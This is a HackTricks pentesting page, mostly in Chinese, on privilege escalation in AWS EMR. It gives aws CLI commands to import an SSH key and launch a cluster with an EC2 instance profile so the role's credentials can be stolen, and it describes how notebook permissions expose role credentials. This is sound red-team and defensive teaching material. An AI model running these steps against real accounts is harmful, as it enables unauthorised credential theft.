AWS - EMR Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

EMR

更多 关于 EMR 的信息 在:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

具有这些权限的攻击者可以 run a new EMR cluster attaching EC2 roles,并尝试窃取其凭证。
注意,为了做到这一点,你需要 know some ssh priv key imported in the account 或导入一个,并且能够 open port 22 in the master node(你可能能够使用 EmrManagedMasterSecurityGroup 和/或 ServiceAccessSecurityGroup 作为 --ec2-attributes 内的属性来实现)。

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

注意在 --service-role 中指定了 EMR role,并且在 InstanceProfile--ec2-attributes 中指定了 ec2 role。然而,这个技术只能窃取 EC2 role 的凭证(因为你会通过 ssh 连接),而不能窃取 EMR IAM Role。

潜在影响: 对所指定的 EC2 service role 进行 Privesc。

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

拥有这些权限,攻击者可以进入 AWS console,创建一个 Notebook 并访问它以窃取关联的 IAM Role。

Caution

即使我在测试中把 IAM role 附加到 notebook 实例上,我也注意到我能窃取的是 AWS managed credentials,而不是与该 IAM role 相关的 creds。

潜在影响: 对 AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile 进行 Privesc

elasticmapreduce:OpenEditorInConsole

仅凭此权限,攻击者即可访问 Jupyter Notebook 并窃取与之关联的 IAM role
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Caution

即使我在测试中把 IAM role 附加到 notebook 实例上,我也注意到我能窃取的是 AWS managed credentials,而不是与该 IAM role 相关的 creds。

潜在影响: 对 AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile 进行 Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks